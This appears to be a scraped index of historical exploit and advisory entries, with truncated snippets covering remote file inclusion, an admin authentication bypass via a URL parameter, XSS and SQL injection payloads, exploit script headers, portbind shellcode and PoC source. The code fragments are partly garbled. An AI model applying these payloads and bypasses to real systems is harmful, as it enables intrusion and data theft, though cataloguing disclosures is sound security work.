Shadows Rising RPG <= 0.0.5b Remote File Include Vulnerabilities

No description provided by source. / + + - - - DEVIL TEAM THE BEST POLISH TEAM - - + + + - Shadows Rising RPG Pre-Alpha = 0.0.5b CONFIGgameroot Remote File Include Vulnerability + + + - Script name: Shadows Rising RPG Pre-Alpha v. 0.0.5b - Script site: http://sourceforge.net/projects/shadowsrisin...

Shadows Rising RPG 0.0.5b - Remote File Inclusion

Shadows Rising RPG 0.0.5b - Remote File Inclusion / + + - - - DEVIL TEAM THE BEST POLISH TEAM - - + + + - Shadows Rising RPG Pre-Alpha = 0.0.5b CONFIGgameroot Remote File Include Vulnerability + + + - Script name: Shadows Rising RPG Pre-Alpha v. 0.0.5b - Script site:...

interact <= 2.2 (CONFIG[BASE_PATH]) Remote File Include Vulnerability

No description provided by source. / + + - - - DEVIL TEAM THE BEST POLISH TEAM - - + + + - Cce-interact = 2.2.0 CONFIGBASEPATH Remote File Include Vulnerability + + + - Script name: Interact - Online Learning and Collaboration System v. 2.2.0 - Script site:...

Firewall / Proxy / NAT Dependency

Binary data 3710.prm...

Simple CMS - Administrator Authentication Bypass

Simple CMS Information: The cms from http://www.cms-center.com/ uses no security at all, just a boolean "isloggedin". If you submit "loggedin=1" in the URL of any of the admin pages, you get full controll. Vulnerable code: if $loggedin != "1" header"Location: /login.php?e=1"; / Redirect browser /...

SendCard <= 3.4.0 Unauthorized Administrative Access Exploit

Exploit for unknown platform in category web applications ============================================================ SendCard php injection\n"; echo " works against magicquotesgpc=Off\n"; echo " 2 - arbitrary remote inclusion\n"; echo " works against allowurlfopen=On\n"; echo " 3 - arbitrary...

Apple Mac OSX 10.4.7 (PPC) - fetchmail Local Privilege Escalation

Apple Mac OSX 10.4.7 PPC - fetchmail Local Privilege Escalation !/usr/bin/perl getpwnedmail.pl http://www.digitalmunition.com written by kf kflistsatdigitalmunitiondotcom This is a canibalized version of "Kansas City POP Daemon Version 0.0" - Copyright c 1999 David Nicol kevin-finisterres-mac-min...

phpprobid524.txt

Phpprobid 5.24 http://www.phpprobid.com -------------------------- Cross Site Scripting XSS -------------------------- http://target.xx/auctionsearch.php?advsrc="alert/EllipsisSecurityTest/ http://target.xx/auctionsearch.php?start=1&advsrc="alert/EllipsisSecurityTest/ ------------- SQL injection...

Etomite CMS 0.6.1 - rfiles.php Remote Command Execution

Etomite CMS 0.6.1 - rfiles.php Remote Command Execution !/usr/bin/php -q -d shortopentag=on 126 $result.=" ."; else $result.=" ".$string$i; if strlendechexord$string$i==2 $exa.=" ".dechexord$string$i; else $exa.=" 0".dechexord$string$i; $cont++;if $cont==15...

PAC privilege escalation using Function.prototype.call — Mozilla

mozbugra4 reports that a malicious Proxy AutoConfig PAC server could serve a PAC script that can execute code with elevated privileges by setting the required FindProxyForURL function to the eval method on a privileged object that leaked into the PAC sandbox. By redirecting the victim to a...

SubberZ[Lite] - Remote File Include

Chironex Fleckeri SubberZLite - Remote File Include Find by Chironex Fleckeri Mail/MSN: [email protected] http://site/path/user-func.php?myadmindir=Shell...

Sendmail 8.13.5 - Remote Signal Handling (PoC)

Sendmail 8.13.5 - Remote Signal Handling PoC !/usr/bin/env python [email protected] Sendmail 8.13.5 and below Remote Signal Handling exploit usage: rbl4ck-sendmail.py 127.0.0.1 0 25 this exploit was leaked to the PHC Phrack High Council so instead of only letting them have a copy, we figu...

Microsoft Windows - DHCP Client Broadcast (MS06-036)

Microsoft Windows - DHCP Client Broadcast MS06-036 MS Windows DHCP Client Broadcast Attack Exploit MS06-036 https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/2054.tar.gz 07212006-MS06036DHCPClient.tar.gz milw0rm.com 2006-07-21...

Dumb 0.9.3 - 'it_read_envelope' Remote Heap Overflow (PoC)

/ by Luigi Auriemma / include include include include define VER "0.1" define BOF 255 // 25 BOF 256 define INSTRSZ 371 define POCNAME "proof-of-concept" void fwi08FILE fd, int num; void fwi16FILE fd, int num; void fwi32FILE fd, int num; void fwb08FILE fd, int num; void fwb16FILE fd, int num; void...

WinGate directory traversal

Directory traversal with IMAP...

Mambo Component SimpleBoard 1.1.0 - Remote File Inclusion

Mambo Component SimpleBoard 1.1.0 - Remote File Inclusion Bug Found by h4ntu http://h4ntu.com batamhacker crew Another Mambo component remote inclusion vulneribility download : http://mamboxchange.com/frs/download.php/6920/Simpleboard-1.1.0-Stable.zip bug found in file fileupload.php :...

PAPOO 3_RC3 - SQL Injection Admin Credentials Disclosure

PAPOO 3RC3 - SQL Injection Admin Credentials Disclosure !/usr/bin/php -q -d shortopentag=on ? echo "PAPOO = 3RC3 SQL injection / admin credentials disclosure\n"; echo "by rgod [email protected]\n"; echo "site: http://retrogod.altervista.org\n"; echo "dork: "Help Contact Imprint Sitemap" |...

[Full-disclosure] phpSysInfo arbitrary file identification

phpSysInfo is a popular webscript for displaying stats about a webserver available from http://phpsysinfo.sourceforge.net/ with 365012 downloads to date. A vulnerability which allows an attacker to identify if a file exists on the remote system has been identified. By supplying a directory...

linux/x86 - portbind define your own port 84 bytes

linux/x86 portbind define your own port 84 bytes. Shellcode exploit for linx86 platform / Shellcode - portbind 84 bytes Copyright c 2002 Giuseppe Gottardi 'oveRet' All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the...

CVE-2006-3312

The CVE-2006-3312 entry documents multiple XSS vulnerabilities in QaTraq 6.5 RC and earlier, exploitable via numerous parameters across several PHP files (e.g., top.inc, queries_view_search.php, components_.php, design_ .php, phase_.php, download.php, login.php, products_ .php). The root cause is...